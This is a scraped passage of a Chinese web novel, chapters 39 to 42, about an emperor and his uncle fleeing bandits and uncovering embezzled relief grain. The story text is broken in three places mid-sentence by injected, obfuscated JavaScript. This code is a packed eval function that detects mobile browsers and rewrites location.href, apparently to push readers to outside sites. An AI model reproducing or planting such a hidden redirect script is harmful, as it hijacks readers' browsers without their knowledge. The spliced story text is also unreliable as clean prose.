到了半夜,宋闻璟意识越发清醒,也睡不着了,便下床点起蜡烛。只不过一会儿,原本安静的门外,突然传来一阵骚动,有大声地叫喊声,还有厌恶地唾骂声,随着各种声音交杂地逼近,旁边的楼梯处越来越多人聚上来。 宋闻璟看着门外不断闪过的黑影,刚想打开门走出去想看看发生了什么,另一边紧闭的窗户处,好像被什么重物重重砸了一下,窗户剧烈抖动了一下,又恢复平静。 宋闻璟朝窗户处看了一眼,随后愣了一下,接着窗户又被砸了一下。 很像故意的。 宋闻璟走过去,打开窗子朝外面看去,楼下,沈翊不知什么时候跑了出去,现在正站在外面,一边挥着手一边朝宋闻璟低声喊道:“快跳下来。” “什么?” 宋闻璟低头看着忽远忽近的地面,一时间没听明白沈翊在说什么,虽然只有两层楼的距离,但这也不能这么大胆吧,这要是跳下去,不要一条命也得要半条吧。 沈翊又道:“没事的,我在下面接着你,快点下来,要不然来不及了,那我先走了。” “不是,等等。”宋闻璟看着沈翊往后退了两步,心里莫名有些着急,道:“太高了,我不敢。” 沈翊扭头看了看四周,随后找了一副梯子,搭在窗户口,让宋闻璟慢慢爬了下来。 宋闻璟刚落地,还没等问个明白,便被沈翊拉着躲进了旁边的小屋里藏了起来。 小屋里很黑,还摆放着一些许许多多柜子长椅和一些不知名的工具,像是一个储物间。 两人躲在阴暗的角落里,四周安静的空气将两人的呼吸声衬托的越发清晰,两人刚缓了没多久,耳边突然一阵巨响,木门被人一脚踹开,银白色的月光铺在地面上,随之门口走进了两人。 39.第 39 章 “你这是做什么?!”一个苍老的声音带着愤怒大声训斥道,“把我门踹坏了,你给赔吗?” “闭嘴,你这老头。”粗犷的声音明显压抑满心的怒气。 但这并没有震慑住另一道声音,反而越发得寸进尺,“你还要怎样,我这生意都被你搅了,人都走了,我还赚什么钱,前面都搜完了,你还要来我这破屋砸一顿不成?” “你这老头烦不烦啊,再多嘴老子连你一起抓了。” 老头听见这话也不敢说什么了,只能生着闷气跺了两下地。 屋子里微小的灰尘飘在空中,在门外月光的照耀下,也显得熠熠发光,像夜空中倾泻而下的银河涌进破败不堪的小屋,好似要将整个小屋淹没。 而那身形粗壮高大的中年人朝屋里走了几步,眼神打量着四周时不时还露出一副嫌弃的表情,屋子里不论是哪块地方都积了厚厚一层灰,那人一脚毫不留情地踹倒放在隐秘角落旁的衣橱,瞬间,衣橱倒塌时巨大的重力掀起的一阵强风将周围的灰尘纷纷卷起,将两人呛咳不止。 老头好几次想张口抱怨,却又被眼前飞扬的灰尘堵了回去。 而旁边木桌下,缩着的两个人更是大气不敢出,只好默默忍着身上的不适,直到灰尘散尽,几人才趁机喘了几口气。 “大人,外面有官兵来了。” 不知何时,外面又跑来一人,气喘吁吁地喊道:“我们快走吧,这帮人难缠的很。” 那人顿了一下,继而往外走去,老头随之又开始粘在那人身上一样,让他赔偿自己今晚的损失,三人走远,老头只是说了两声,便被那人不耐烦地推倒到地,快步走了。 老头爬起身,不满地啐了一口,随后开始抱怨道:“这都是什么世道,现在劫匪想来就来先走就走?这以后还挣什么钱?真是乱了。” 想着小屋还没关上门,老头拍了拍身上的灰,随后往后走去,可没等到走到门口,小屋里便传来一阵说话声。 两人从木桌下爬出来,身上不免沾了点灰,宋闻璟想起心中疑惑,“为什么我们要躲在这?那些人真是来找我们的吗?” 闻言,沈翊瞧了一眼,哼笑一声,道:“你睡这么久,怎么会知道,从今天下午那山匪就进镇了。” 宋闻璟默了两秒,随后继续道:“那我们要再回去吗?” “这不太清楚……”沈翊道,“如果已经进镇了,那附近的村子或许已经找过了……” 宋闻璟想了想,又道:“官府总会管吧,刚刚他们听见官兵便走了,那应该可以吧,更何况天子还在这呢?” “天子吗?”沈翊笑了,“天子有什么用,人人都知道我无权无势,说是天子,其实也只是个称呼,如果提皇叔名字或许比这个天子还有用。” “我……” 宋闻璟突然被噎了一下,随后又挂起一抹笑意,抬头看向他,“陛下何必呢?现在臣既让出兵符,又被撤了官职,陛下还有不放心的?” 不放心? 好像是那都不放心。 沈翊看着他不再说话,如果真的放心,可能也是在真正除掉宋闻璟的那一刻,如果不死那必定是一个隐患。 这样的一个人,虽拖着一身病骨,却即能在战场上立下赫赫战功,又能在朝堂上翻手覆云,即便他是个忠臣,在帝王眼里也是对皇权的一个重大威胁,更何况这人摆明了不忠,饶他一条命,这不就是给自己早早宣判了死刑。 两人四目相对,透过对方的眼眸看到如今的自己,心里打起的算盘,好似都在对方的眼里看到自己必赢的结局。 “你们在干什么?谁让你们来的。” 一声怒吼,门口,老头不知从何处捡来的木棒指着两人道:“还有完没完了,真当我这想来就来想走就走了!” 闻声,两人望过去,老头气势汹汹地看着两人,连手里的木棍也被气的抖动着。 “掌柜的,你这是做什么?”沈翊慢悠悠道,“这样对待贵客可不好。” “呸!”老头不屑道,“你们是贵客?那你们躲在这做什么?看你们这么鬼鬼祟祟的,难不成那些人是来找你们的?” “好像是吧。”沈翊继续补充道,“见过一次面,拿了一条命,就缠上我们了。” “什么?”老头顿了一下,“你说什么?你杀了他们的人?” “你们快走,别赖在我们这,惹谁不好,非得惹他们,个个五大三粗,杀人不眨眼的,别在这给我们惹麻烦,走远点。” 老头晃了晃手上的木棒,恶狠狠恐吓道。 “嗯?” 很奇怪,老头的第一想法不是把人交出去,而是把人赶走。 但既然老人有意放过,两人也不再说什么,走出客栈后,街道上已经没有了山匪的身影,而是排排行走的官兵。 两人隐在暗处,一直走到一道小巷停了下来,宋闻璟喘了一口气,回头之时却没了沈翊的踪迹。 “沈翊?”他往后寻了几步,又轻轻叫了一声,周围除了风声,也无人再应。 漆黑的夜晚,宋闻璟站在原地有些不知所措地,自己把沈翊丢了?还是沈翊被人掳走了?难不成沈翊自己走了,没告诉自己? 一个个想法在脑中涌现,宋闻璟觉得自己越来越离谱了,他晃了晃头,将所有想法都抛之脑后,现在找到沈翊才是最重要。 随后宋闻璟壮着胆子又继续靠在墙边一边慢慢往前走,一边轻声叫着沈翊的名字,蓦然身后一道黑影一闪而过,宋闻璟浑身一凉,刚要往前跑,却没想到黑影不知何时来的宋闻璟身后,将他打晕了过去。 身后的人揽着他,直到沈翊慢悠悠地走过来,那人问道:“他怎么办?” “先找个地方扔了。” 沈翊又道:“京城那几个来过信吗?” 那人摇摇头,“自从那日一别,江五只来过一封信,再后来就没有了。” 沈翊皱了皱眉,那人又补充道:“陛下不必担心,以他们的身手拿下江一和裴夏并不难。” “只想不到,江一平日看着冷冷的,一副忠心的样子,怎会犯下这大忌。” “要怪要怪他自己,如今占据立场不同,只是他自己一厢情愿。”沈翊看了他一眼,心头莫名涌上一股让人摸不清的情绪,像乱成一团毛线团,找不到解开的线头,他转过身,道:“江二,一会儿,你去看看那些山匪走到哪里了?” 说罢,沈翊往前走,“我再回去一趟。” 江二点点头,随后寻了个破庙将宋闻璟藏在佛像后面,临走之时,怕不放心便拿了点干草盖在了宋闻璟身上。 而那些山匪此时也陆陆续续出了镇子,直到天开始微微放出光亮,三个山匪却又静悄悄地入了镇,敲响了绯红高大的府门。 —— 沈翊回到客栈,那老头正一只手扶着额角,一只手不停地在算盘上来回摆弄,嘴里还振振有词道:“亏了,亏了,真亏了。” “掌柜。”沈翊走进,叫了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你这人……”老头一副怒目圆睁的样子,两只眼死死地盯着他,“这就不道德了,做生意嘛,有舍才有得。” 想了片刻,沈翊又道:“好啊,那我能不能拿出几两银子,这是我身上全部的盘缠。” 老头看着他不说话,心底也是不情不愿,直到沈翊又开口道:“就拿一点,剩下的都是你的。” “那好吧。”老头松开手,眼神却一直盯着沈翊手里的动作,生怕他多拿一分。 “好了。”沈翊拿出几块小的银子,又把钱袋紧紧记了好几回,才推到老头面前。 老头本还在沈翊面前故作矜持,直到沈翊的身影消失在门外,老头迫不及待地拿起钱袋在手里颠了颠分量,有点沉,但老头还是觉得轻了。 直到老头打开最后一个节,白花花的银子瞬间映入眼帘,老头刚准备咧嘴大笑,谁知道钱袋倒出的全是石头,而那最上面的两块银子也不过是障眼法。 老头气愤的抓起仅有的两块银子,立马跑出门去寻找沈翊的身影,转了一圈没找到人,老头站在原地无能狂怒道:“这恨人的,不要让我下次再碰见,要不然一定打断他腿!” 而此时,沈翊不但丝毫不在意,甚至还顺手绕到后厨摸了两个包子,在路上一边吃着,一边还想着:“两块银子就吃了两个包子,真是太亏了,客栈押金还没退,那这个包子还要不要留给宋闻璟啊,要不然明天再去摸点?” 40.第 40 章 江二是第二天天亮回来的,在山匪进去后,那府邸看守似乎格外严格,就连天上飞过的鸟,都被射杀下来。 不得已,江二选择撤了回去。 寺庙里,等宋闻璟醒来时,房间里已经照进来些许光亮,可唯独这座巨大的佛像后,却始终被黑暗埋没,抬眼看去,本应令人敬仰的佛像此刻都显得那么诡异阴暗。 宋闻璟坐起身,将身上的干草顺手拿开,随后便开始打量起四周,回想起昨晚的经历,现在还有些惶惶不安,可为什么那人没有杀了他,反倒把他放在这? 不过也好,自己也算逃过一劫,既然那人想放自己一马,那自己还是趁早离开这个是非之地,万一那人后悔再回来怎么办? 想到这,宋闻璟便立刻动起身,睡了一晚上的冷地板浑身像被人踹了好几脚,又酸又疼,忍着全身不适好不容易站起身,不料眼前又蓦地一黑,堪堪走了几步,脚下不知被什么东西绊了一下,宋闻璟下意识伸出手想寻个依靠稳住身子,黑暗的视线中,宋闻璟好像摸到了佛像下的莲花座,一片片凹凸不平的莲花瓣表面留下了很多划痕,将原本光滑整洁的表面变得粗糙不堪。 等眼前的黑雾散去,宋闻璟喘了口气扶着旁边的莲花座走出去,微亮的天际,破庙里却突然多了很多人,他们三四个人聚在一起却不说话,他们衣衫褴褛,看起来邋里邋遢,破开的衣服洞甚至还能看见露出的棉花和干草,他们手里大都有一个破碗,样子像极了乞丐。 看见宋闻璟走出来,他们的目光也都齐刷刷地看过去,良久,又把目光移开。 直到门外一阵骚动,那些人纷纷站起身朝门外涌去,这里面不乏有腿脚缓慢的老人,人小瘦弱的孩童,他们混在人群中,很快被人推推搡搡落在后面。 宋闻璟站在原地攒了些力气,看见破庙里没了人,正准备抬步向外走,却没想到旁边的柱子后却突然探出一个小脑袋正盯着他看,那双漆黑的眸子却在两人对视时,忽地避开了。 随后柱子后的人转过身朝外跑去。 恰逢,沈翊刚与江二接完头正往里走,不知那个冒冒失失的家伙一头撞在了他身上,沈翊不禁往后撤了一步稳住了重心,那小男孩看着约六七岁,小小的身躯瘦骨嶙峋,撞在身上也没有多大力气,反倒把自己撞倒在了地上。 “你……” 沈翊走过去伸出手本想将那小男孩扶起来,不料那小男孩看了他一眼,随后像只受惊了的兔子自己慌忙从地上爬起便继续往前跑。 等沈翊看着这只小兔子从自己眼前灰溜溜地逃走,宋闻璟也刚从破庙里走出来。 天光破晓,几缕温暖阳光照在身上,驱散了冬日里的几分寒冷。 宋闻璟眯着眼抬头看过去,眼中的光亮渐渐被模糊成一团金灿灿的薄雾,让人摸不得也看不清。 直到沈翊走进叫了他一声,宋闻璟闭了闭眼闻声看过去,沈翊还没来得及开口说什么,宋闻璟便冷声质问道:“你昨天去哪了?” “啊……”沈翊听着这有些莫名久违的语气,整个人突然愣了一下,随后又略显心虚道:“没……没去哪啊,我一直在这。” 宋闻璟默了一阵,又道:“那昨天晚上我怎么没看见你?” “不会吧,我就在后面呢。”沈翊不自在地摸了摸后脑勺,又补充道,“可能天太黑你没看到我。” 宋闻璟看着他,到嘴边的话停了又停,随后又道:“你怎么知道我在这?我明明……” “昨天晚上怎么了?”沈翊眨了下眼,随后出声打断道:“我看见皇叔晕倒在路上,便寻了这个破庙在这里暂住一晚。” “是吗?”宋闻璟疑惑着皱了下眉。 沈翊点点头,似有些得意道:“这还能有假?要不是我,你还在那躺着呢。” 说罢,沈翊又摸向腰间,把那空的可怜的钱袋递到了宋闻璟面前,“那个......花了一点,不多,回去再还你的。” 宋闻璟低头看了看那钱袋,不禁问道:“你去干什么了?” “我......”沈翊顿了顿,又道:“没干成,还亏了两块银子,现在想想还是觉得真的好亏,我当时真应该再拿回来……” 宋闻璟脑子又开始变得迷迷糊糊的,听不懂沈翊在说什么,也有些听不清,视线变得忽明忽暗,想伸出手接过钱袋,钱袋却在眼前重叠,一时不知道该抓那个。 沈翊看着宋闻璟磨磨唧唧的样子,刚想抓着他的手将钱袋塞进他手里,不料,抓住的那只手,手里居然沾满了血,并且血迹已经有了干涸的痕迹。 “你怎么了?” 沈翊抬起头,却看到宋闻璟的身子直直倒了下去,沈翊下意识伸出手将他揽在怀里,此时,原本留存在宋闻璟脸上的少许血色,也瞬间消散的一干二净,沈翊看着宋闻璟手上的血愣了愣,随后又自下而上,扫了一眼宋闻璟的全身后,下意识地去摸了一下额头,发觉正常温度后,沈翊居然又鬼使神差地探了宋闻璟的鼻息,在确定还活着后,心里突然觉得还有点可惜。 沈翊抱起宋闻璟正打算做个好人时,身后那个小男孩却突然跑了过来,拉着他的衣角竟不让他走。 “怎么了?” 沈翊回过头看他,那小男孩满脸忧愁,又纠结道:“那个……他还活着吗?” 沈翊疑惑道:“还有气,没死透。” “就是……我……他……”小男孩紧紧握着他的衣角,声音逐渐颤抖起来,磕磕绊绊道,“可我……昨晚看到……他明明已经……死了。” “他……” “什么意思?”沈翊听迷糊了,明明自己怀里还是个大活人,怎么在这小孩嘴里,就成了死人了? 小男孩站在沈翊身后,身子不被察觉地抖动了几下,颤颤巍巍道:“我昨晚明明都看到了,他……死了,今天居然又变了个人走了出来。” “讲故事呢?”沈翊觉得太离谱了,不知道这小孩又从哪里听的这些鬼怪传闻,便继续道:“你是哪家的小孩,快点回去吧,要是你再这么拽着我,你说的可能就要成真的了。” 话音落,沈翊又往前迈了几步,身后的小男孩却始终不松手,好像要跟他抗争到底,“我说的都是真的,你要是不信可以去后面看,我亲眼看见有人拿刀捅了他。” “好可怕那些人。” 小男孩一边说着,一边眼泪不停地往下掉,隐忍地抽噎声断断续续传入沈翊的耳朵里,沈翊看着哭成泪人的孩子,心里莫名有了些动容,他问:“那些人是谁?他们欺负你了吗?” 闻言,小男孩抬手故作坚强地擦掉眼泪,又红又热的眼眶却再一次蓄满泪水,他点点头,“他们都是坏人……” “坏人?”沈翊问他,“坏人是谁?” 小男孩道:“就是那些山匪,还有县老爷,他们都是坏人,他们抓走我爹爹给他们修缮府邸,后来我爹爹没有回来,伯伯告诉我,他亲眼看见我爹爹被他们活生生给打死了。” “他们……”沈翊低声嘀咕了一声,随后抬头看着那小男孩问道:“昨晚你看到了谁?” “好几个山匪绑着一个人去了破庙后面。”小男孩摸了摸脸道,“那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988894|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候天好冷,我刚抱了一堆干草盖在自己身上,晚上光线虽然不好,我躲在里面看到那几个黑影,还听见那几个人又打又骂,直到那几个人离开,我才敢探出头,地上的人已经被打的没了气息,我不敢出去,直到第二天,我却发现他突然走了出来。” “后面?”沈翊问。 小男孩点点头,随后沈翊扭头看向破庙里面,脚步似有些控制不住地往里走,后面有什么? 将宋闻璟放在一边,沈翊朝里面走进去,身后的小男孩害怕地站在外面往里看。不多时,沈翊慢悠悠地走了出来,走到小男孩面前,手里还多了一把沾上血迹的长剑,剑身笔直,两侧均打磨的极其锋利,表面光滑如镜,似透露着冰冷的寒光,剑柄处没有繁琐的花纹,只刻了一个大大的“元”字。 “这个人姓元?”沈翊问道,“这个人怎么得罪那些人了?难不成也杀了个人?” 小男孩看着那把剑,眸中一亮,似乎更加肯定这人的身份,“他不姓元,他是我们这的官兵,我们县老爷叫元兴安。” “元兴安?”沈翊打量着眼前的剑,口中又重复了一遍,“这山匪打一个官兵干什么?” 小男孩垂下头轻轻晃了晃,“我不知道。” “好了。”沈翊一只手将剑收起来,另一只手抚上小男孩的头顶摸了摸,说道:“那走吧,这里确实有些不安全,你……” 还未说完,小男孩却突然打断他道:“那他呢,他是谁?我记得我从来没见过他进来。” “他?”沈翊顿了顿,又笑道:“他是个人,活着的人,不是死掉的那个人。” “可……” 说罢,沈翊像是又想到什么,“你知道医馆怎么走吗?” 小男孩点点头,“离这有点远,我带你们去吧。” “好。”沈翊答应着,一边背起宋闻璟又小说嘀咕道:“救你一命都够你给我磕几十个头了。” 路上,小男孩走在前面,却总是时不时往后看沈翊一眼,也一直不说话,沈翊不禁问他:“怎么了?” 小男孩突然道:“大哥哥,你说这世间上真的会有妖怪吗?” “妖怪?”沈翊摇摇头,“传说罢了。” “那神仙呢?”小男孩道,“我娘亲总说求神仙保佑,可神仙总是听不到,神仙在天上也很忙吗?他们都说神仙神通广大,能掌控万物生死,可神仙为什么总是要抛弃我们,是因为不喜欢我们,所以才听不到我们的声音吗?” 沈翊静静地看着他,嘴中吸进去的冷风,像在心口处吹过,在心口周围凝结起一层冰霜,很冷,以至于呼吸都缓了下来。在以前,他也总是在想神仙为什么从来没显灵,为什么所有的事情还是按照原有的路线在进行,他为什么救不了所有人,为什么也救不了自己。 可在后来,他才发现其实神仙帮不了他,那时候他太弱,只能依靠这种方法去期盼转机的到来,但现在他想将这转机把握在自己手里,不再是去神拜佛,再以一种乞求的方式,盼着一个飘渺不定的结果。 见沈翊不说话,小男孩回看着他,又唤了一声,沈翊缓过神,却没有打破小男孩的话,他道:“神仙或许太忙了,有时候会看不到。” 小男孩立马笑道:“那神仙什么时候能看到啊,我还有好多事情想和神仙说。” 沈翊道:“你可以多说几遍,说不定神仙就能看到了。” 小男孩拍了拍手,兴奋道:“好啊!” 此刻,原本阴沉沉的眸子蓦然一亮,如同太阳从乌云里探出头,心里的期待与喜悦,不言而喻。 41.第 41 章 “这么久了,怎么还不醒?” 沈翊懒散地坐在一旁的椅子上,目光漫无目的地在房间里游走,屋子里没有旁人,在沈翊又打了一个哈欠后,沈翊终于忍不住地站起身走到了床边,看着床上闭着眼安安静静躺着的人,沈翊不禁大声喊了他几声,在未得到回应后,沈翊站在原地静默了两秒,看着宋闻璟那张眉清目秀又惹人讨厌的脸,沈翊俯下身大着胆子在他脸上不轻不重地拍了几下。 “问你。” “为什么要出城,在京城还不够你摆布的吗?为什么还要找这么卑劣的借口,这不像你,你做事从来没有借口,所以到底是什么事才值得你亲自出城,用一个不堪的借口当一个幌子?” “这还真是让人有些好奇。” 话音落,沈翊转身坐在床沿上,心里却越发混乱,明明宋闻璟的一举一动他都清楚,可就不明白宋闻璟到底想做什么? 又过片刻,房门被敲响,一个年纪轻轻的小药童端着一碗汤药走到沈翊面前,将汤药递到沈翊手里,随后沉声道:“药已经好了,公子若是还有别的事,可以去前面药堂找我。” 沈翊点了下头,那小药童会意便走出门去。 身上剩下的钱花光了,变成了手里的这一碗药,沈翊看着手里这碗药也显得格外珍贵,喂给宋闻璟时,也变得小心翼翼,尽量将汤药倒出减少浪费。 所幸药效发挥很快,不出片刻,宋闻璟悠悠转醒,逐渐清晰地视野里,率先映入眼帘是木制的床顶,两边是被收起的白青色的布帘,陌生的环境让宋闻璟瞬间清醒了不少。 他闭了闭眼,躺在床上缓了一会,等身上有了些力气才慢慢坐起身,扫了一眼房间里空无一人,宋闻璟便想出去看看,下了床捞起旁边的衣服正打算往外走,房门却在此时响起了敲门声,紧接着一阵稚嫩的声音,从门外传来:“哥哥,我回来了,你还在吗?” 宋闻璟穿上衣服,清秀的脸上还略显些苍白,但本人没察觉,去开了门,门外站着的小男孩看见他,不知道又想起什么,圆溜溜的眼睛里蓦地闪过一阵惊慌,脚下也跟着不自觉地往后退了两步,随后又低下头,小声询问道:“刚刚那个大哥哥还在吗?他要的东西我带来了。” 闻言,宋闻璟低头看向小男孩手里的那碗白粥,不解问道:“大哥哥?你是来找沈翊的吗?” 小男孩摇了摇头,“我不知道他叫什么,但应该是和你一起的那个大哥哥,他说让我来这找他,他说他也是逃难的,好久没吃饭了,身上没钱,让我上街讨白粥的时候,也给他带一碗。” “白粥?”宋闻璟打开门,往旁边走了一步,本想让小男孩先进来,谁知这小男孩在门口踌躇了半晌才走进来,宋闻璟以为他怕生,又特意往后退了两步。 “街上有人施善放粥不成?” 小男孩点点头,又淡淡笑道:“是官府,今早刚放出的消息,现在外面都排了好多的人了。” 闻言,宋闻璟盯着桌子上的那碗白粥,突然才明白为什么一清早破庙里会聚集这么多人,原来都是为了这碗白粥去了。 两人围着圆桌相对而坐,小男孩局促地低着头不敢看他,一时间房间里安静的有些尴尬,除了宋闻璟时不时的咳嗽两声,给这僵局有了这一点缓和。 眼看这白粥要凉透了,沈翊还不知道去哪里,宋闻璟一时看不到沈翊,总是感觉沈翊又自己偷偷跑了,随之脑海里又开始乱七八糟地开始想。 小男孩等了又等,见白粥都要凉了,小男孩又道:“要不然我把这白粥去后厨热一下,再拿过来吧。” 闻言,宋闻璟点了点头,又问道:“你会生火吗?要不要我陪你一起去?” 见此,小男孩慌忙摇了摇头,随后端起桌子上的白粥就往外跑,门外正巧遇见来放东西的小药童,问了一下后厨,小药童便带着小男孩走了。 宋闻璟独自留在房间里,断断续续地咳嗽声一声大过一声,嗓子也犹如被烈火灼烧过,又疼又干涩,缓过一阵咳嗽,宋闻璟给自己倒了一杯水,本想缓和一下症状,却没想到,一石激起千层浪,像是开了头,便停不下来了。 一瞬间,宋闻璟开始后悔自己是不是不应该跑出来,现在怕是还未到时间,自己先病死了,虽是逃离了剧情路线,可剧情又开始朝一个未知的结局发展。 如果真的是将死亡提前了,现在自己又能做些什么,去改变还是为自己去留下一些痕迹。 “皇叔在想什么?” 沈翊不知什么时候端着那碗白粥走了进来,见到宋闻璟醒了坐在这里发呆,不由得生了一摸好奇。 宋闻璟缓过神,看着沈翊不紧不慢地坐下,说道:“刚刚有人好像来找你。” “我见过了,刚刚在门口碰见了。”沈翊点点头,随后将手里的白粥推到宋闻璟面前,“要不然尝尝?” “什么?”宋闻璟一时没反应过来,随后轻咳了一声,不解问道:“这不是你要讨来的吗?” 沈翊笑笑:“但这粥可是为我们做的。” 宋闻璟问:“什么意思?” 沈翊道:“这山匪昨天来镇子搜捕我们,今天这官府就开仓放粮,虽说这可能是巧合吧,但这门口的告示栏上却贴了关于我们两个的告示,借了我们的名声说是我们特意分发的赈灾粮。” “这么说来,倒不像一件坏事。”宋闻璟道,“这受灾的村子,陛下不是都安排好了,这赈灾粮也理应是陛下亲自拨下去的。” “是朕拨的倒是没问题,但拨在谁手里倒是不一定。”沈翊闻言笑了声,“受灾的村子里没有赈灾粮,那些粮食都是朝廷官员自己出钱买的,而这赈灾粮出了国库后,早就失了踪迹。” “真是奇怪,明明没长腿也没翅膀,怎么会自己消失呢?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14074251|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起皇叔从前也如某些人这般,联合一些私贩做点不要命的小生意,这按理来说王府的银子应该大把大把的往里进,可朕却没看见过王府的银子往外流。” “陛下……”宋闻璟抬眼看了他一眼,心里倒有些不服气,明明不是他做的,这小皇帝还始终拿着他不放。 “陛下,臣都已经知道错了,以后肯定不会再犯了。”宋闻璟淡淡一笑,连带着苍白的面容上也染上几分春光。 闻言,沈翊下意识扭头瞧了他一眼,突然觉得更奇怪了,什么时候奸臣还能低着头认错? 因为裴夏走了,奸臣身边倒是没了什么人,现在更是和自己一条船上的人,奸臣自然更依靠自己。 沈翊想着,不过这样也好,自己倒是也更容易拿捏他,若回去之后,奸臣还想要回官职,他一定要奸臣当着朝廷文武百官的面,给自己行大礼,还要磕头认错,让朝堂上文武百官都认为奸臣已经心甘情愿败在自己手里,可要还是那副自命清高的样子,等不到回宫,现在他肯定就把奸臣一脚踹下船去。 想罢,沈翊装模作样地咳了一声,道:“我当然知道皇叔只不过一时头热,但知错能改,朕自然也为皇叔高兴。” 宋闻璟听见沈翊说完,心里的一根弦莫名一松,坦然呼出一口气。 沈翊又道:“不过,我们身上没钱了,可能还要回到高颉那边待一会儿。” “花的这么快吗?”宋闻璟一惊,这钱袋里的银子自己好像还没花几块,“那我们以后怎么办?” “什么意思?”沈翊说,“剩下的钱都给你看病了,要是你别动不动就生病,我们现在或许还能再撑一会儿。” “是吗……”宋闻璟顺势又咳了两声,心里刚要涨起一抹愧疚,可转念一想,这不就是他的钱吗?自己的钱为什么不能给他自己花,这小皇帝不要太资本。 沈翊抬起头嘴角一扬,将面前的白粥又往宋闻璟面前推了推,道:“别辜负人家一片好意。” 宋闻璟盯着那碗白粥愣神了两秒,反问道:“陛下怎么不喝?” “喝过了。”沈翊不急不慢道,“不难喝,现在这碗粥可就是我们唯一的粮食,皇叔可别浪费,等天色晚些了,我们再去找高颉。” 说罢,宋闻璟端起碗喝了两口,碗底下较为稀疏的米粒也随着水流落到宋闻璟嘴里几粒,大米算不上好米,即使被煮熟了还是有点硬,算不上有多么好喝。 沈翊在一旁看着没再说什么,直到宋闻璟又问他:“陛下可要查赈灾粮的事?” 沈翊道:“当然,这钱被盗了,当然让那人加倍还回来。” “那……”宋闻璟道,“要不要传信给宫中来加派人手?” 沈翊道:“现在可能不太行,昨天那客栈掌柜告诉我,驿站那边的路被雪崩埋了,信寄不出去,但可以找这儿的县老爷寄信,但这人你觉得可信吗?” 42.第 42 章 “县老爷?”宋闻璟不解地看向他,“陛下为什么这么问?” 沈翊默了两秒,骤然开口:"那皇叔你可认识他?" “什么?”面对沈翊这么莫名的一问,宋闻璟一时没有反应过来,他和这位县老爷难不成还有什么牵扯? 宋闻璟低头仔细想了半晌,最后确定自己确实没有印象后,刚想摇头,却又被沈翊怼了回去。 沈翊慢悠悠站起身,语气散漫道:“既然不愿意说那就算了,毕竟皇叔的事朕也不好过多询问,但朕希望皇叔能以大局为重,千万别做一些不该做的事,最后的结果可不是所有人能担的起的。” “你……”宋闻璟听完这句话,心里蓦地一沉,明明让人感到温暖的屋子,却在此时失去了所有温度,宋闻璟觉得冷,更觉得害怕,因为沈翊从来不信他,好像所有发生的一切对沈翊而言,自己永远是幕后主使,不论自己做没做,沈翊的矛头也永远指向自己,他带给沈翊的影响,也如同一根细针深深扎在沈翊心里,挥之不去。 “陛下莫不是在怀疑我?”宋闻璟故作镇定地抬头朝沈翊笑了笑,随后开口直言道。 闻言,沈翊也只是深深回看了他一眼,整个人一直默不作声,他透过那双含着沐浴春光的眼睛,却怎么也看不透眼前人心中所想。在此刻,他才发觉自己好像已经迷失在漆黑一片的围城里,因为自己迫切地想知道一个答案,以为抓住了源头答案就会悄然浮现,回头才发现,自己好像掉进一个更为大的陷阱里。 两人不说话,空气莫名安静了几分。片刻,宋闻璟轻咳出声,随后又无力般的小声为自己辩驳了一句:“可我说不是我干的,陛下会相信吗?” 沈翊深吸一口气,逐渐缓过神,堪堪道:“朕没有怀疑你,只是提醒皇叔一声,朕自然也相信皇叔不会这么干,毕竟朕与皇叔相伴多年,感情自然深厚,可要是皇叔一时茫然,被人骗了,到时朕可没能力保下皇叔。” 沈翊浅浅笑着,话中更是隐晦,可宋闻璟听见脑中还是突然空了一下,他跟着赔笑道,“陛下……陛下真是有心了。” “皇叔客气,这都是朕该做的。”沈翊走到他身旁,轻轻拍了拍宋闻璟放在桌子上交叠的手,随后又抬步往外走去,“皇叔好好休息,可别出去乱跑。” 话音落,房门紧闭,宋闻璟扭头看向窗外,外面依旧雪白一片,寒风卷起落雪,丝毫没有要融化的痕迹。 —— “大人,他们又来了。” 不等坐上的人答复,原本漂亮紧闭的雕红门,被人一脚踹开,门上留下了一抹雪迹和脏兮兮的污渍。 “这是干什么?脾气可真是好大。”坐上的人停下笔,抬眸瞧了他一眼。 “真是没想到,赵大人原是这样的人,昨日在下与赵大人商谈的,今日赵大人就成了背信弃义的小人了?” “嗯?下官何时答应过你?” “你……” 坐上的人挥了挥手,旁边的小厮纷纷退了出去,将房门关了上来。 “到现在装起来,还有什么用?他们不会放过你。” “他们不会放过我,难道你就会放过我吗?” 底下的人顿了一下,便又听上面的人道:“你心里想的,我不可能不知道,你所做的一切,我也不能没有察觉,这里是我的地盘,从你来的第一天,我就知道。” “所以呢?”那人年纪不大,模样俊俏,长腿一迈,走到椅子上丝毫不客气地坐了下去,“大人知道我是谁,要干什么,那大人怎么不把我赶出去,反倒让我在这扎了根?” 